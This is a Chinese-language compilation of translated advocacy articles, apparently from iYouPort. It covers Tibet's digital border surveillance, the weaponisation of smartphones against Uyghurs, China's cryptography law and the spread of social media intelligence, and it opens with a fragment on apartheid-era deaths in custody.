没有人对伊玛目哈龙的死亡负责，也没有人对整个种族隔离制度下政治活动家在被警察拘留期间的数十起死亡事件负责。雅各布·德拉米尼的《恐怖分子名册》问世之时，这种普遍的掩盖行为再次成为南非公众热议的主题。

部分原因是对尼尔·阿格特（Neil Aggett）和艾哈迈德·蒂莫尔（Ahmed Timol）死亡事件的重新调查，前者是一名医生和工会组织者，1982年2月被发现吊死在牢房里，后者是一名29岁的活动家，在约翰内斯堡的一个路障前被拦下几天后死于警察拘留。

“作为南非人，我们即将进入一扇将重新点燃痛苦记忆的大门”，比利·莫特勒法官在重新开始对蒂莫尔的死亡进行调查时说，“这是一扇邀请我们踏上旅程的门，它将使我们所有人面对我们历史中最肮脏的部分”。

德拉米尼的调查工作有助于保持这扇门的开放，即使是在新的南非国家正在尽其所能试图永远关闭它的时候。〇

The Hidden Faces of Apartheid

原文

中国在西藏构建了强悍的数字隔离墙 - iYouPort

中国-半壁高堡奇人维稳面面观

几十年来，藏人穿越喜马拉雅山在尼泊尔寻求庇护。现在，数字墙将他们与世界隔离……

「图」

「图」

使用在新疆控制维吾尔族人同样的方法，中国政府通过部署无人机、面部识别和雷达监控确保了一个几乎无法通行的边界，加强了对西藏的控制。

在建立真正有效的隔离墙的中美竞赛中，中国提供了一个具有独特目标的模式：将被压迫的少数民族[以及他们受压迫的遭遇]隐藏在国内。

几十年来，该地区令人生畏的地形使这项任务变得困难。在50年代被中国占领和吞并的西藏与南亚之间的边界是一个广阔的空间，绵延4,500多公里。边界大部分沿喜马拉雅山脉，超长的距离和偏远的地形使制造一堵物理墙变得不切实际。

从1959年到2008年，每年有成千上万的藏人艰险跋涉穿越山脉。如今，估计有15万藏人居住在国外，印度、尼泊尔或包括美国和加拿大在内的西方国家。几乎所有人都可以将他们的自由追溯到危险的喜马拉雅旅程，而中国占领军很难有效地在那里巡逻。

然而，近年来，来自西藏的难民流动几乎完全停止。

2007年，约有3,000名藏人进入印度。到2017年，这一数字下降到只有80。

与中国希望世界相信的理由完全不同，其原因并不是西藏的情况“有

所改善” —— 实际上，几乎每个人权组织都认为西藏的镇压已经达到了几十年来的最高水平。

“今天的人权情况完全不同”，国际声援西藏运动德国办事处总监 Kai Muller 说，他强调中国当局加强了对藏人的迁徙、宗教信仰、甚至学习语言的权利的控制。

“从生活的方方面面来看，政府干预的范围都在扩大。”

逃离西藏的难民人数减少了97％，这是由于新技术使中国能够在其南部和西部边界建立了一个几乎无法逾越的数字化的和密不透风的边界墙。

- 这些技术大致包括什么？在这里看到《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》

在西藏以及新疆—维吾尔人和其他突厥穆斯林的故乡，这已成为广为报道的"技术反乌托邦实践"，无人机、监控摄像机、和互连的监控系统在边境巡逻，使士兵能够迅速监视并逮捕任何藏族、维吾尔族或哈萨克族人，只要他们被认为试图逃离。

数字墙也从根本上阻止了绝大多数逃亡的尝试。

从抗议到边境管制

中国最早建造数字墙的迹象是在2008年3月，即 北京举办奥运会的五个月之前，当时在西藏各地爆发了广泛的反中抗议活动。

抗议者的努力在全球成为头条新闻，随后，全球舆论抗议藏族、维吾尔族和其他少数民族的人权受到压迫。

“那场起义本身是造成如今我们看到的中国当局发生的这种[维稳]偏执的原因，” 驻印度的西藏人权与民主促进中心主任 Tsering Tsomo 说。

“他们[共产党政府]真的想要阻止任何人进出此地。”

那一年，整个西藏自治区宣布了戒严，从那以后，除了国家的宣传喉舌可以旅行之外，当局还阻止外国记者和民间社会团体造访西藏。

这使得外界很难理解该地区的数字监视范围。外国记者甚至可以访问

新疆，但无法访问西藏。

有几条关于西藏的数据。

甚至包括新疆在内，没有任何地区的人均维稳支出超过西藏。

西藏在2017年的人均维稳费用支出为 3,137 元人民币，比新疆的 2,417 元还高，远高于全中国平均水平的 763 元。

西藏政策研究所研究员 Tenzin Tsultrim 说："由此可见，整个西藏的维稳体系有多广泛，超过北京和新疆。"

Tsultrim 还担心以强制性体检为幌子从藏人那里收集**DNA**样本的驱动力。"如果当局拥有人们的 DNA，追踪一个人会非常容易。这是监视的致命组合。"

- 延伸《"美国公司如何帮助中国借助 DNA 数据追踪公民"》
- 《当政府想要你的 DNA》
- 《失控的DNA收集实践：问题在哪里》

当局对普通藏人的控制瞄准他们的家。

中国对2008年抗议活动的回应之一是大幅增加了西藏维持治安工作的规模和范围。这次改革是由党委书记陈全国领导的，在他成功地压制了西藏之后继续担任新疆共产党书记，在那里，他被认为是高科技监视系统的总设计师。

在西藏，当局将他们称为"便利"派出所的小型警察局网络扩展到了城市地区的每一个角落，平均每200–300米一个，以快速应对任何所谓的威胁。

拉萨等城市现在拥有完备的监视摄像机网络、和众多检查站，使当局可以跟踪所有进出的人员。

最近，拥有面部识别技术的警察局和带有面部识别功能的监控摄像机已经普及到了农村，尤其是沿边境的村庄。

Tsultrim 说："仅在拉萨，就有600多个那种所谓的便利派出所"。他说，越来越多的维稳人员被派往农村地区。

"近年来，有超过21,000名维稳官员被派往[西藏]附近的农村。"这是对至少已经有12,000名主要在城市地区工作的维稳人员的补充。

实际上自2008年以来，藏人甚至难以在中国国内旅行。现在，藏人如果需要访问拉萨等城市就必须事先获得许可，据消息来源说，城市周围以及邻近地区和省份之间的边界存在许多检查站。

监视和面部识别技术还可以识别藏人何时离开家乡，进一步阻碍了他们到达边境的能力。

- 《让面部识别失效的思考方式》

“就像当局在整个地区实施了一系列过滤器，过滤掉了任何他们不信任的人，并确保将那些人留在原地，” 驻香港的人权观察组织研究员 Maya Wang 说。

“从某种意义上说，边界是最后一道防线。但是，如果有了这种过滤器，那么首先就能实现最大程度上减少能够到达边界的人数。”

最终能到达边境的藏人还面临着更多的挑战。

政府报纸《中国日报》报道了中国制造的具有先进雷达、声学监测设备、和无人机组合的边境监控系统的部署情况。

报道引述一位发言人说，任何试图越境的人都会被该监控系统检测到，该系统会自动通知士兵。

中国还部署了GGJ-2无人机，可以在西藏和新疆边界高空运行长达20个小时，旨在监视全境、并在必要时在无法驻扎部队的地区进行进攻活动。

过去就有过维稳官员对试图逃跑的藏人使用武力的情况。印度西藏政策研究所的研究员 Tenzin Dahla 认为，卫星也是日益自动化的数字墙的一部分。

- 《卫星已经开始观察你的每一个动作》

Dalha 说：“我最近从西藏境内的藏族人那里听说，他们正在边界地区附近使用卫星预警系统。

他担心中国打算在西藏启动华为5G网络，这将使部署传感器和快速传输大量数据进行实时监控分析变得更加容易。

- 延伸《中国5G：好莱坞大片的滑稽场景》
- 《5G网络的可怕潜力》

- 《人工智能新冷战—— AI和5G如何变成一场噩梦》
- 《“人工智能”的中国军事》
- 《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》

参与西藏便利数字监控系统的公司包括中国北方工业公司、深圳中集智能CIMC、在西藏大学设有实时跟踪中心的 Wiseweb 技术公司、还有 Intellifusion 和 IflyTek。

- **iFlytek** 最近也与美国麻省理工学院建立了多年的研究合作伙伴关系。这些“伙伴关系”起到了明确的破坏人权的作用《一臂之厉：美国企业正在帮助建立中国的奥威尔国家》
- 《维族妇女对战中国的监视国家[videos]》

防火墙

伴随着对藏人行动自由的严格限制，当局对数字信息流也进行了严格的控制。

Citizen Lab 是加拿大多伦多大学的跨学科实验室，该实验室分析了在中国主要社交媒体和聊天平台微信上共享的内容，研究发现当局会定期过滤西藏境内和境外的某些关键字和词语。

这些数字控制可能很广泛。

去年三月，拉萨大昭寺起火；大昭寺被认为是藏传佛教的圣地，人们很担心，不可替代的文化遗产遭到破坏。然而，在那之后的几个月中，没有任何关于火灾情况的进一步消息传出。

中国审查员阻止了进一步发布视频、沉默了社交媒体，并禁止人们进入寺庙。

同样，虽然很容易找到每月访问拉萨并拍照的成千上万中国游客发布的照片，这些照片经常发布到诸如微博或微信之类的中国社交网络上，但是，听取藏人的声音变得越来越困难。

在仅仅十年的时间里，西藏在物理上和数字上都与世界隔绝了。

这种数字种族隔离的最明显的迹象是沿着严格控制的边界。

2017年末，尼泊尔和西藏之间的 Kerung 边境过境点因2015年地震造成的破坏而关闭了两年多后重新开放。

在边界保持开放的同时，藏人很少过境；相反，人流主要由进入尼泊尔的中国旅客和商人组成。

Dalha 说：“ 2008年以前，有很多藏人从西藏逃到尼泊尔，但是，现在是中国人在尼泊尔蓬勃发展。”

在最近对该地区的访问中，他指出，那里许多标语是中文的，而且有很多尼泊尔店主会说基本的中文。

曾经是将西藏与南亚连接起来的过境点现在将中国与尼泊尔相连。

印度达兰萨拉（Dharamshala）的局势已经变得严峻。

1959年，印度贾瓦哈拉尔·尼赫鲁（Jawaharlal Nehru）政府向达赖喇嘛和流亡的西藏政府提供了避难所。曾经一度，包括儿童在内的难民不断涌入，使社区充满活力，并允许文化遗产（语言、宗教、歌舞）得到转移和保存，而这些在中国已经越来越多地被禁止。

但是，今天，有500张床位的藏人接待中心几乎空着。每年学校能接收的孩子越来越少。

随着越境藏人人数的减少和审查制度的日益强悍，两个社区之间的联系几乎被切断。

“这样做的结果是，今天，大多数居住在西藏的藏人被置于与外界隔绝的茧中”，华盛顿特区国际声援西藏运动副主席 Bhuchung K.Tsering 说。〇

China’s Digital Wall Around Tibet

原文

中国已经将智能手机武器化：这就是为什么您应该关注 - iyouport

中国-半壁高堡奇人你应该了解的现实维稳面面观

【2020年7月3日存档】这只是原文的标题。但将智能手机武器化的不仅是中国。一个筐摆在那里，不用它来装东西是几乎不可能的事。如今每个国家都有这样一个“筐”……

病毒式流行的移动应用 Zapya 背后的开发人员声称：“文件共享从未如此简单 —— 您可以在设备之间免费共享文件，Zapya 允许您跨多个平台无缝传输大量文件。”

这是一个引人注目的推销 —— 该应用程序的上海开发人员 DewMobile 自2012年推出它以来就宣称已经获得了4.5亿次下载。

不过，有些尴尬的是，现在新疆当局似乎已经瞄准了维吾尔族少数民族中的 Zapya 用户。如果在设备上找到该应用，当局会认为有足够的理由对设备所有者进行调查。并且，根据共享的具体文件，调查可能会导致拘留。

由 Zapya 共享的文件可以在泄露的文档缓存中找到，这些文件暴露了部署在新疆的大规模监视生态系统。国际调查记者协会发布的《China Cables》详细介绍了监控实验室的部署，该实验室可以监控生活模式并控制全部人口。

被怀疑的任何人都有被拘留的危险，只有通过改变思维习惯和行为才有可能逃脱集中营。

当然，不仅仅是 Zapya，它的开发人员没有回应置评请求。

长期以来一直有指控称当局积极监控腾讯微信上的通信，而像 WhatsApp 这样的西方应用程序会立即被当局视为危险信号。

ICIJ 在对泄露的文件进行分析时说：“中国国内外的维吾尔族人现在知道，他们的通讯受到当局的不断监控。”

- 《维族妇女对战中国的监视国家》
- 《抖音如何打开了进入中国警察国家的窗口》

去年5月，新疆当局已经委托他们自己的移动应用程序访问所谓的“联合行动平台（IJOP）”，该平台是一个监视平台，可以打包该地区被监视的所有人口的多个数据源。

这是一个监视国家的完美概念 —— 收集您可以想到的每一个数据源、通信和旅行记录、面部识别摄像头的捕获、公用服务的使用情况、与邻居的互动、居住地的来往情况 …… 等等，然后再使用AI标记偏差，服务于所谓的“预测性警务”也就是少数派报告中所描述的地狱。

然后在7月，由主板、卫报、纽约时报、南德意志报和北德广播公司联合进行的调查显示，进入新疆的外国人“被迫在其手机上安装恶意软件，该恶意软件会将其所有短信以及其他数据提供给当局。”

- 在这里看到报道《中国迫使游客安装监视恶意软件》甚至日本金属乐队的音乐都会被监视者认为可疑

一个月后的八月，香港民主运动的抗议者声称中国政府机构正在利用 Telegram 中的“漏洞”泄露真实的电话号码，然后追踪到抗议者的真实身份。

然后，在八月下旬至九月初之间，传出了更为令人不安的消息，即：中国已部署被黑客入侵的网站用来攻击维吾尔族人的 iPhone。

Google Project Zero 警告说：“仅仅访问被黑客入侵的网站就足以导致您的设备遭受攻击，并被安装监视植入物。”

就像稍后对 Google 稍显尴尬的揭露一样，同一攻击以相同的方式瞄准 Android 设备 —— 苹果和 Google 都陷入僵局。

智能手机可能很危险。现在每个人都应该知道这件事。

- 《你的手机如何背叛了民主？》

不仅是手机天然的间谍跟踪能力，而且作为个人信息宝库它很容易遭受恶意软件和黑客攻击，从而以各种方式暴露您的凭据和数据。

除网络犯罪分子外，这些同样的漏洞已被国家赞助的、根据政治命令行事的骇客团体所利用。你能看到针对不同国家/地区的移动设备的

网络攻击经常成为新闻。

但是，越来越多国家的当权者能像中国那样有系统地将恶意攻击针对本国人口。智能手机已经被武器化。

- 《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》
- 列表4- “以色列和NSO”、以及 “Hackingteam” 板块中，您能看到谁在使用这些东西、谁在帮助维护这些间谍技术的构建和出售
- 《中国的反乌托邦监视国家是美国制造的》

中国当局继续坚称，在新疆发生的事仅仅是一个密集的 “反恐计划”，该计划得到了当地公众的支持、“使该地区更安全”。

- 人们为什么会支持集中营的构建？在长达一百多人的历史中这一现象不断被重复。特别推荐这篇访谈和这本书《今天的集中营有很多名字，但它们依旧是集中营》

要知道，智能手机的武器化范围远远超过新疆和香港。

在当今世界，每个人都在自己口袋里揣着这么一个随身间谍，并且用它来存储自己的所有致命数据、允许它跟踪自己的一举一动和社交情况，从而让这个随身间谍比生活中任何其他人都更了解你。这种生态中，当权者将智能手机武器化也许并不那么出人意料。

⚠每一个构建反乌托邦噩梦的政权都在此具有强大的能力和意愿；但是如果没有这些移动设备作为每个人的随身间谍，当权者的圆形监狱就无法工作，即使不是不可能，它也会变得更加困难。

这就是警告。你可以说中国打开了潘多拉魔盒，但是必须知道，它一直以来都在那儿，而不是强行创造的。

- 《如何保持 Android 设备免受警察的侵害》
- 《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》

虽然有上述这些方法，但是还远远不足以应对武器化智能手机的大趋势。推荐这个访谈《你的手机就是秘密监视设备—Snowden访谈视频》。如果您认为您的身份相对敏感，或者您准备与身份相对敏感的人接触和联络，尤其是参加抗议活动时，依旧建议您尽可能减少使用智能手机。〇

China Has Weaponized The Smartphone: Here’s Why You Should Be Concerned

原文

中国的新 “密码法”如何终结了加密 - iyouport

中国-半壁高堡奇人加密和反加密之战维稳面面观

【2019年12月26日存档】端对端已废

下图是我们在去年10月报道的消息。其中的文章您可以在这里看到：《NSA 的阴云笼罩国际加密—— 网络安全标准化会议在中国举行令人五味杂陈》。

中国人大在去年10月26日颁布了 “期待已久” 的密码法，已经于2020年1月1日生效。可以在这里找到该法律的正式文本。

中国设计的这个系统试图追求一个具有挑战性的目标，即：使网络仅对不良行为者来说不透明，但对共产党政府来说，完全透明。

密码术是将用于实现这些目标的关键技术。必须使用密码术来保护在网络上传输和存储的信息的机密性，但是密码的使用给政府带来了一个难题：对公众隐藏信息的加密技术也可以用于对政府本身隐藏信息。

在这种情况下，中国政府面临的一个问题是，如何在仍保持对网络系统全面监视的同时，要求进行加密。

于是就有了这么一个法律。该法律将加密分为三类：核心，普通和商用。

核心和普通旨在用于传输和存储共产党国家机密的系统。商用加密旨在用于商业和私人用途。该法律规定，它欢迎外国的商业加密提供商。

也就是说可以在中国销售外国加密系统，但前提是：该系统已通过尚未被准确描述的认证系统的批准和认证。

该法律称，加密的使用应遵守《网络安全法》和相关MLPS 2.0法规的

规定。共产党的国家密码管理局（SCA）有权监督和检查密码系统的实施和使用。

这三类系统忽略了通常实现加密的方式。

最重要的密码系统不是商业系统。大多数系统都基于 Gnu Privacy Guard 系统。这是一个完全开源的系统。您可以在此处下载源代码。

提供**GPG**系统的组织的整体重点是允许公司和个人向政府隐瞒信息，无法想象提供**GPG**系统的组织会与中国政府合作以获取对其产品的审查和认证。

不止是中国，与任何政府合作都会违反该原则。

这导致了新法律下的第一个问题。大多数密码系统是开源的可免费下载。中国政府和普通用户一样可自由检查用于实施GPG和相关开源系统的源代码。

因此，真正的问题是：中国政府是否允许在中国运营的公司和个人使用**GPG**和相关系统，鉴于这些系统绝不会提交给中国政府进行审查和批准？

如果答案是否定的，那么关于外国加密系统的整套规定将完全没有意义。如果答案是肯定的，则“商用”一词完全没有意义。

这将导致最重要的问题。

密码术不是秘密。最重要的算法是公开的，任何人都可以使用。各国政府确切地知道算法是如何工作的，因为政府一直是大多数算法的发明者。

因此中国的《网络安全法》对加密产品的关注实际上只是虚晃。

密码学的关键不是对密码学算法的保护；至关重要的是保护允许解密加密消息或数据的密钥。

中国的《密码法》对解密问题没有任何规定，对密码和其他防止解密的密钥的保护也没有任何规定。其最终计划是通过将所有密码和解密密钥交到共产党政府的手中来打破所有形式的端到端加密。

换句话说，对公众不透明、但对政府完全透明。

《密码法》第31条规定了由国家密码管理局及其地方机构实施的政府检查和控制系统。

该系统为国家密码管理局及其本地代理提供了对这个密码系统和该系统保护的数据的完全访问权限。

这些系统还受到根据《网络安全法》和此处还有此处所述的“网络安全等级保护制度” MLPS 2.0实施的MPS监督和控制系统的约束。

这就是为什么我们说，在全球反加密的战争中没人能干得过美国，但是中国除外。在这里看到下面图中那篇文章《美国可能禁止无法被破解的端到端加密通信》。

因此，国家密码管理局（共产党政府的办公室）和MPS都将具有对加密服务器的完全访问权限，包括对解密密钥和密码的完全访问权限。

一旦实现此法律，端到端加密就会消失。有关加密工作原理的说明请参见《幽灵用户和开裆裤》。

因此，最终，邀请外国加密技术的提供者和用户只是给粗心者挖的陷阱。

数据在网络上越过中国边界后，100％可供中国政府使用。密码术可能会很好地阻止公众的访问，但是，所有这些数据对于中国政府来说都是完全透明的。

不仅对中国公民来说非常危险，而且该法律也给美国和其他国家在中国依赖端到端加密的实体带来了重大问题。

在该法律形成的新审查系统之下，端到端加密在中国将不再存在，因此对美国出口管制的这种豁免将不再有效。随着美国扩大受出口管制的技术范围，外国公司面临的风险将越来越大。

许多美国实体将密码学视为逃避中国《网络安全法》的措施，但这已经行不通了，因为中国政府不允许这样做。

中国政府完全知道自己在做什么。中国政府已经建立了一个制度，使其能够实现完全透明的监视。

没有解决方案。

无处可藏。

附：关于为什么加密是我们的生命线，请参见“为自由而战”系列：

- 《为自由而战（一）卧室里的坦克—— 被军事化的互联网人，以及可以怎么办》
- 《大部分审查并非如你平日的吐槽对象那般显而易见—— 为自由而战（二）》
- 《创建属于我们自己的国土；推荐非暴力直接行动的终极形式—— 为自由而战（三）》
- 《结束毫无意义的口水和拉锯战，这里是你应该知道的事—— 为自由而战（四）》
- 《这个时代真正的力量究竟是什么？已经有人找到了—— 为自由而战（五）》

原文

什么是社交媒体情报？你的推特如何成为抓捕你的理由？ - iyouport

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

【2019年5月23日存档】其伤害造成的不仅仅是人权问题；但它直到目前依旧不受法律约束

最初，当人们知道警方和当局可以利用社交媒体上关于你的一切信息来对你实施抓捕和定罪时感到很惊讶。但这种对社交媒体的邪恶利用自社交媒体诞生之初就存在了，在任何国家都是如此。中国将这方面的手段委婉地称之为“舆情分析”只是一种掩盖其恶意令你放松警惕的小心机。

社交媒体情报（SOCMINT）是指允许公司或政府监控社交媒体网站（SNS）（如 Facebook 或 Twitter）的技术和技巧。

SOCMINT 包括监视内容，例如发布的消息或图像，以及当有人使用社交媒体网络站点时生成的其他隐私数据。此信息涉及个人对个人、个人对群组、群组对群体、并包括私人和公共的所有互动。

分析社交媒体网站的方法各不相同。方法可以包括在公共或私人群组或页面中发布内容时手动审阅内容 —— 即 删除、或有些东西发布后只有你一人可见；审查用户的搜索和查询结果 —— 即 了解你在想什么和你最隐秘的欲求；审核用户发布的内容倾向或类型 —— 谁是反骨？；或者大面积刮取数据，并以收集社交媒体情报的人员可直接访问的方式复制内容。

值得注意的是，社交媒体情报可能包括收集、保留和分析各种社交媒体数据的工具，并将这些数据解释为趋势和分析。

问题在哪 ——

近年来，情报和监视活动发生了一些变化，部分原因是人们产生的数据量极具增加，这是通过新形式的数据收集和处理实现的。**SOCMINT**是一种明显的和隐蔽性的监视形式，一直并且越来越多地

被政府和非国家行为者使用。

“社交媒体情报”一词通常与“OSINT 开源情报”一词互换使用。但是，这两种情报收集形式之间存在着重要的区别。

SOCMINT 可以部署在私人或公共内容上，而 OSINT 则是严格限制为公开的内容，例如文章、新闻网站或博客，以印刷品和开放式互联网平台发布，并且明确可被每个人阅读和观看。

SOCMINT 需要更具体的监管、政策和保障措施，考虑到社交媒体的独特性和特殊性：它是私人公司拥有的私人空间。

虽然公开和秘密监视的界限越来越模糊，但是，社交媒体情报中受监管最少的方面涉及监视社交网站上的公开数据。

在社交网站环境中，不仅可以访问您的联系人、还可以访问未登录SNS的个人或组织，或者某个人或组织已登录但不是经过验证的联系人（例如 Facebook 上的“朋友”或 Twitter 上的“关注者”），这些信息均被视为公开可用。

执法机构或维稳部门试图秘密添加目标用户作为经过验证的联系人，使用虚假的档案，获取到比公开信息更多的信息，这种行为应当视为秘密监视，这种行为应该通过限制和保障措施加以解决，类似于在物理空间进行秘密活动的那种行为。

也就是说，任何渗透人与人之间、人与团体之间、团体彼此之间互动的企图，都是隐蔽的国家间谍行为，需要受到法律的严格监管。

然而，执法部门和其他安全机构认为，社交媒体情报对人们的隐私“几乎没有影响”，因为它只“依赖”公共信息。

但是，当权者对 SOCMINT 的这种不准确表述无法解释收集、保留、使用和共享个人数据的侵入性。

在线发布数据的社交媒体平台涉及个人隐私。举例来说，从移动电话发布的“推文”可以揭示位置数据，并且其内容还可以揭示个人意见（包括政治意见）以及关于个人偏好、性取向偏好和健康状况等敏感信息。

相反，社交媒体上所谓的“公开可用”信息的概念存在严重的误导性，导致这种形式的监视大多不受监管或受未公布的法规约束。

这导致了一种情况，即执法官员（和情报机构）可能认为某个社交网站设置为公开可用的所有内容都是“公平的游戏”，以便他们可以随意访问、收集和处理。

SOCMINT是非法的吗？——

可以明确，使用社交媒体情报是对人们隐私的侵犯，因此必须遵守合法性、必要性和相称性的国际原则。

虽然它是公开的信息，但同样适用国际人权标准。

欧洲人权法院长期以来一直认为“即使在公共场合，也有个人与他人互动的私密区域，这可能属于”私人生活“的范畴。

例如，在评论CCTV的使用方面，法院认为“无论是在街道上还是在公共场所，在合法和可预见的目的下，监视摄像机的正常使用都没有触及“公约”第8条规定的问题。但是，可能会出现有关数据记录和此类记录所造成的系统性或永久性的私人生活问题。

而且“法院在这方面考虑的因素还包括是否存在关于某个人的数据汇编，是否已处理或使用个人数据，或是否已公布有关材料超出了通常可预见的方式或程度”。

事实上，如果不加管制，对社交媒体情报的例行收集和处理可能会导致我们在其他形式的秘密监视或其他警察行动中发现的那种滥用行为。

例如，考虑到潜在的滥用可能是执法机构系统地针对某些种族和宗教群体、或政治立场的人群。如果没有通知、透明度、监督和审查警察的 SOCMINT 活动，如何保证在线监控不存在上述偏见？美国公民自由联盟提交的 Raza 诉纽约市的案件透露了纽约警方如何系统地收集有关穆斯林社区的情报。部分监控就涉及 SOCMINT。

它还可以对言论自由产生寒蝉效应。社交媒体情报不仅会影响目标人群：它会影响一个人社会关系网络中的所有人。

虽然人们可能同意在社交网站上进行“公开”聊天（例如通过回复推文），但如果与您交谈的人受到了警方或情报机构的监控，则是另一回事了。

挪威技术委员会的一项研究向挪威人询问警察是否应该监控开放的社交媒体平台。百分之四十的受访者表示，此类监控将阻止他们使用他

们认为警察或情报机构感兴趣的任何特定词语 —— 简称自我审查。

SOCMINT 如何被政府滥用？——

世界各国政府 —— 民主和非民主政府全包括 —— 一直在努力发展对这种“快速、廉价和简单”的监视形式，对情报的胃口不断增长。

SOCMINT 可以包括以非用户身份访问网站的政府间谍（例如 使用网络浏览器查看内容而无需登录）、经过身份验证的用户（例如 @solpect之后的@policeagency）、使用虚假的配置文件（例如 @GeeSeaAcheQueue）关注了@protestor）、拦截数据流（例如 在用户的设备上、或在用户的互联网服务提供商处）、或者通过从社交网络本身请求数据。

在泰国，技术犯罪抑制司不仅拥有一个由30人组成的团队专门负责扫描社交媒体，以抓捕任何反对君主制的内容，并且，同时也鼓励公民之间互相举报谁发布了政府不喜欢的内容。这在中国也一样。

特别是，当局通过“网络侦察”计划瞄准年轻人。当权者对那些参与群众斗群众的告密者施予奖励。

已经发生多起巴勒斯坦人因在社交网站上张贴的内容而被以色列警方逮捕的案例。其中一个案例涉及一个15岁的小女孩，她发布了 Facebook 状态只是简单地写着“忘记我”。以色列当局却怀疑这可能表明她“即将发动袭击”。

在埃及，内政部于2014年发出招标（文件在网上泄露），显示当局为警方采购社交媒体监控系统。埃及政府的警务部门希望通过社交媒体确定社会运动领导人物以阻止抗议活动。

在美国，ZeroFOX 公司受到了严肃批评，当时他们与巴尔的摩市官员分享了一份报告。在报告中，该公司展示了其社交媒体监控工具如何监控弗雷迪格雷的葬礼之后发生的抗议活动（弗雷迪格雷是一名25岁的非洲裔美国人，被警方枪杀）。报告指出，其中19人是民权运动 #BlackLivesMatter 的领袖。

在英国，英格兰、威尔士和北爱尔兰首席警察协会制定的关于反水力抗议活动监管的指南表明，“社交媒体是任何……情报图景的重要组成部分。”

英国当局通过社交媒体情报密切监控 2013 年广泛的环保抗议活动。2013年的一份报告显示，17名官员负责扫描公众的推文、YouTube

视频、Facebook 个人资料、以及英国公民在公共在线领域发布的任何其他内容。

英国首席监管专员于2015年评论说：

“公共当局现在比以往任何时候都更多地利用社交网站上提供的有关个人、团体或地点的详细信息，以及使用互联网和移动通信设备的人们之间各种形式的开放式通信。我重复我的观点，只是因为这些材料是公开的，并不会使它公平游戏”。

谁构建了允许 **SOCMINT** 的技术？——

有两个行业在社交媒体情报中创建监控技术能力：监控行业和营销行业。这两个行业都在为公共和私营部门用户创造服务。

虽然像 NICE（它的 NiceTrack 情报服务）、NTREPID、Kapow 软件和 COGITO 等公司提供专为政府设计的 **SOCMINT** 平台，但越来越多的政府机构 —— 特别是警察部队 —— 正在转向专为营销目的而设计的工具，以便减少开支。

Dencik，Hintz，Carey 和 Pandya 在一份题为“管理’威胁’的报告中记录了这一现象：社交媒体在监视社会方面的用途正大增”。其中一位消息人士说：“很多东西都来自市场营销，因为市场营销正在使用社交媒体来了解人们对他们产品的看法……当权者想要了解人们在说什么和想什么，所以同样的技术几乎反过来使用了。”

一些社交媒体公司已在其服务条款中纳入了禁止用于收集数据的一些技术，例如“刮刀”，这是 Facebook 和 Twitter 等平台的做法。然而，为了克服这一限制，一些营销公司直接从社交媒体公司购买数据。

SOCMINT 的其他应用是什么 —— 当前的和潜在的

对于政府来说 ——

用于开展社交媒体情报的技术允许政府持续大规模监控社交媒体。

所谓的预测性警务计划使用大数据来预测某人犯罪的可能性，使用的就是主要来自社交媒体网络的数据。在堪萨斯城，“堪萨斯城无暴力联盟”是由当地警方领导的一个计划，旨在识别“未来的罪犯“。

该算法结合了从传统警务中获得的数据，但也包括 SOCMINT。政治

机构正在监控社交媒体，以了解（和控制）公众的情绪。

Squeaky Dolphin 是由英国间谍机构政府通信总部（GCHQ）开发的用于收集和分析社交网络数据的计划，旨在监控英国公民的态度。

众所周知中国政府正在开发一种“社会信用评分”系统，该系统将根据个人数据（包括他们的互联网活动记录）为中国公民分配信用评分，其中可能包括他们在社交媒体上发布的内容。

个人的信用评分也可能受到社交网络上“朋友“的影响。如果你的社交媒体数据显示你与分数低的人互相关注，你就麻烦了。信用评分不仅用于确定所谓的信用价值，还用于确定某人是否有权享受某些社会服务。甚至第三方也可以使用该信用评分来确定一个人对其他公共商品和服务的访问权限。

对于私人公司 ——

社交媒体情报在向算法提供数据方面发挥着重要作用，算法越来越多地用于做出关于人们生活的重要决策，包括诸如一个人是否可以获得贷款、是否可以找到工作或租到房子等决策。

SOCMINT 在私营部门的使用非常普遍。一个例子是像 Afiniti 这样的公司提供的服务：当您给 O2、Virgin Media 或 Sky 等领先品牌打电话时，在您与客户服务代理商交谈之前，他们已经搜索了您在社交媒体上发布的内容为了与您的客户服务人员相“匹配“。这平均只需要2秒种。

对社交媒体数据的这种分析也用于做出关于个人的决定。这方面的一个例子是使用 SOCMINT 来为信用评分提供信息，特别是对于信用记录有限的最脆弱客户来说。这些在发展中国家是很常见的（例如，Lenddo），但也是北方国家的增长区域。

这方面的一个例子是 Big Data Scoring（BDS），该公司提供的产品可以将社交媒体资源中的数据整合到公司的贷款决策过程中。对于像 Admiral 这样的主流客户，基于我们的社交媒体资料影响我们的决策的做法正在成为我们生活中越来越重要的一部分。

总之

社交网站是一个独特的空间。它们由私人公司经营，这些公司强加自己的规则 —— 有点像商店或商场。用户无法决定或影响规则，这与公民能够对规范公共空间的法律进行投票和发表意见的方式截然不

同。这里是没有民主的。

然而与商店或商场也不同，社交网络是一个空间，如果您想参与，您就需要登录并因此提供一些隐私数据，执行某种形式的身份检查，并在进入之前提供对平台规则的主动同意。

因此，社交网站成为它们自己的空间，不是非常私密，但肯定不是公开的。为此，用户应有权对他们发布的材料进行严格保护，即使这些材料看起来是“公开的“。

执法机构、间谍机构以及依赖 SOCMINT 作为其业务模式一部分的公司，都需要制定强有力且可审计的规则和程序，包括在进行社交媒体情报和活动记录时要求法律授权，以便那些进行 SOCMINT 的人可以被追究责任，并且可以通知受影响的人。

此外，考虑到 SOCMINT 已经提出的隐私权风险，需要一个明确透明的法律框架来规范社交媒体情报的使用。

—— 你的推文正在被用来对付你 ——

这可不是喝个茶这么简单。

警察和维稳部门越来越多地将情报收集外包给第三方公司 —— 即军事工业综合体，这些公司正在给我们每个人分配所谓的“威胁分数“并预测我们是谁 —— 这里的“威胁”指的是对权力稳固社会稳定的“威胁”，你知道包括什么。

社交媒体、连接设备、街道上的监视摄像机、自动驾驶汽车、和其他一切新技术的快速扩张导致了工具和软件的并行繁荣，旨在理解我们增加的连接所产生的数据量有多庞大。警察和维稳部门将这些数据视为未开发的信息金矿，可以提供关于个人、组织和团体的潜在思想。

